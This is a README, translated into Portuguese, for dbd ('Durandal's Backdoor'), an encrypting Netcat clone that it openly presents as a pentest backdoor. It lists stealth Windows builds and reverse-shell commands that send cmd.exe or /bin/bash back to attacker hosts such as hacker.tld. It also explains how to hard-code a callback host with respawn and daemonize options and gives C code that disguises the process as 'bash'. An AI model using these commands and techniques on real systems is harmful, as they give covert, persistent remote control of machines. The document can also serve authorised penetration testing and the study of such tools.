
d8888b. d8888b. d8888b.
88 8D 88 8D 88 `8D
88 88 88oooY' 88 88
88 88 88~~~b. 88 88
88 .8D 88 8D 88 .8D
Y8888D' Y8888P' Y8888D'
#Durandal's Backdoor #Copyright (C) 2013 Kyle Barnthouse [email protected] #dbd é distribuído sob a GNU GPL #Binário Mipsbe adicionado por Darkerego [https://github.com/darkerego] [(mailto:[email protected])]
###SINOPSE
dbd é um clone do Netcat, projetado para ser portátil e oferecer criptografia forte. Ele roda em sistemas operacionais do tipo Unix e no Microsoft Win32. O dbd apresenta criptografia AES-CBC-128 + HMAC-SHA1 (por Christophe Devine), execução de programas (opção -e), escolha da porta de origem, reconexão contínua com atraso e alguns outros recursos interessantes. O dbd suporta apenas comunicação TCP/IP. O código-fonte e os binários são distribuídos sob a GNU General Public License.
###COMPILAÇÃO
$ make
usage:
make unix - Linux, NetBSD, FreeBSD, OpenBSD
make unix32 - Linux, NetBSD, FreeBSD, OpenBSD 32-bit
make sunos - SunOS (Solaris)
make win32 - native win32 console app (w/ Cygwin + MinGW)
make win32bg - create a native win32 no-console app (w/ Cygwin + MinGW)
make win32bg CFLAGS=-DSTEALTH - stealthy no-console app
make mingw - native win32 console app (w/ MinGW MSYS)
make mingwbg - native win32 no-console app (w/ MinGW MSYS)
make mingwbg CFLAGS=-DSTEALTH - stealthy no-console app (w/ MinGW MSYS)
make cygwin - Cygwin console app
make darwin - Darwin
cross-compile options:
make mingw-cross - win32 cross compile (i586-mingw32msvc-gcc)
make mingwbg-cross - win32 no-console cross compile (i586-mingw32msvc-gcc)
make mingwbg-cross CFLAGS=-DSTEALTH - stealthy win32 cross compile
make unix CROSS_COMPILE=<path/to/toolchain-> - cross compile for any arch
roll up a tarball (move your compiled stuff to binaries/ first:
make dist - create tarball with source files, readme, and binaries/
Para compilar o dbd em um sistema operacional do tipo Unix, você precisa do gcc e das ferramentas de desenvolvimento relevantes. Para Linux, FreeBSD, NetBSD, OpenBSD (e possivelmente outros), digite:
$ make unix
Para SunOS/Solaris, digite:
$ make sunos
Para compilar o dbd no Microsoft Windows (NT/2K/XP/2K3), você precisa do MinGW+MSYS ou do Cygwin com suporte completo de desenvolvimento (gcc MinGW do Cygwin). Para compilar um aplicativo de console Win32 nativo do dbd no Cygwin, digite:
$ make win32
ou, no MSYS:
$ make mingw
Para compilar um aplicativo sem console ("WinMain") no Cygwin, digite:
$ make win32bg
ou, no MSYS:
$ make mingwbg
Para compilar um aplicativo de console específico do Cygwin, digite:
$make cygwin
Você pode querer alterar o comportamento padrão do dbd. Uma das coisas mais importantes é trocar o segredo compartilhado padrão pela sua própria frase secreta. Edite o dbd.h e substitua pelas suas preferências. Você pode, por exemplo, querer codificar de forma fixa um host + porta para conectar se o dbd for iniciado sem opções. Exemplos completos são fornecidos no dbd.h.
###EXEMPLOS DE USO
Com um pouco de imaginação, o dbd pode ser usado para muitas coisas:
Use o dbd para transferir arquivos com segurança entre duas redes:
snafu$ dbd -l -p 12345 -k secret > output.file
fubar$ cat input.file | dbd -k secret snafu 12345
ou a partir do win32:
C:\somedir>type input.fil | dbd -k secret snafu 12345
Use o dbd como um chat simples (mas seguro):
snafu$ dbd -P snafu -Hon fubar 1234
fubar$ dbd -Pfubar -Hon -l -p 1234
Use o dbd como backdoor de pentest:
C:\hacked box>dbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443
ou em sistemas operacionais do tipo Unix:
root@owned# ./dbd -r1800 -Don -e /bin/bash hacker.tld 993
###OPÇÕES DE HARD CODING
Além de usar opções de linha de comando, você pode codificar de forma fixa variáveis usando #defines no dbd.h. Para isso, defina as variáveis que deseja usar como constantes nomeadas e compile normalmente. Por exemplo, se você quisesse codificar de forma fixa um executável do dbd que se conectasse de volta a "evil.nationalbankofuganda.com" na porta 995 e executasse "/bin/bash", você poderia executar:
root@owned# ./dbd -e /bin/bash evil.nationalbankofuganda.com 995
ou, usando #defines codificados de forma fixa, você poderia editar o dbd.h:
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
Você também pode definir opções de respawn e stealth para ajudar a manter sua conexão:
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define DAEMONIZE 1
Isso fará a conexão daemonizar ("melt" em termos de malware), nunca enviar saída para o STDOUT e tentar restabelecer a conexão a cada 15 minutos, caso ela se desconecte do ouvinte.
###TECNOLOGIA DE CAMUFLAGEM ROMULANA
Agora estamos entrando na parte divertida. Quando você for um mestre em codificar opções fixas no seu backdoor, poderá usar o que possivelmente é a constante nomeada mais divertida à nossa disposição: CLOAK. Para fazer isso, basta definir o valor:
#define CLOAK 1
NOTA: isso atualmente só funciona em compilações *nix. Eventualmente pretendo adicionar migração/enganchação de processos no Win32 para que esses alvos também possam sentir um pouco do amor romulano.
Para ambientes *nix, esta opção limpa o argv[0] e o substitui pela string "bash\0". Ela também limpa todos os outros argv[]'s (ficaria estranho se o ps retornasse "bash -e /bin/bash someremotehost.com 443", não ficaria?) Espero que seja desnecessário dizer que VOCÊ NÃO PODE USAR ESTA OPÇÃO A MENOS QUE ESTEJA CODIFICANDO DE FORMA FIXA SUAS VARIÁVEIS NO DBD.H. Além disso, se você estiver testando isso no seu próprio sistema, vai ser divertido escolher o pid certo para matar. ;)
Sinta-se à vontade para usar este limpador em qualquer coisa em que esteja trabalhando:
//grab our named constant
int cloak = CLOAK;
//Engage cloaking device
if(cloak)
{
#ifdef WIN32
//stub
#else
//change argv[0] to say bash
int scrub;
strncpy((char *)argv[0], "\0", strlen((char *)argv[0]) + 1);
strcpy((char *)argv[0], "bash\0");
for (scrub = 1; scrub < argc; scrub++)
{
strncpy((char *)argv[scrub], "\0", strlen((char *)argv[scrub]) + 1);
}
#endif
}
###AVISO
Não passe entrada em cache (um arquivo com comandos ou similar) para uma sessão "dbd -e" em modo de escuta. O "dbd -e" usa pipes para passar dados entre o programa executado e o dbd. Pipes são usados (em vez de descritores de arquivo duplicados em passagem direta) por causa da criptografia entre os pipes e o socket. Para evitar que a extremidade de escrita de um dos pipes bloqueie todo o processo, eu a transformei em um descritor não bloqueante. Há uma chance de que, ao passar entrada demais de uma só vez para o programa -e, ela seja truncada (cortada), pois o buffer do pipe (no SO) não consegue armazenar todos os dados. Esse problema pode ser resolvido tornando o dbd multithread, por exemplo, mas vou evitar isso pelo maior tempo possível por questões de compatibilidade.
##COMPILAÇÃO CRUZADA
Como o dbd foi projetado para interoperar com outras ferramentas/frameworks, o make agora permite a compilação cruzada win32 em sistemas Linux que possuem o toolchain mingw32-gcc. Essas opções são quase idênticas às suas contrapartes nativas do Windows, com a adição de "-cross" após a compilação escolhida. Exemplo:
$ make mingw-cross
fará a mesma coisa em um sistema Linux que
$ make mingw
faria em um sistema win32 com mingw/msys instalado.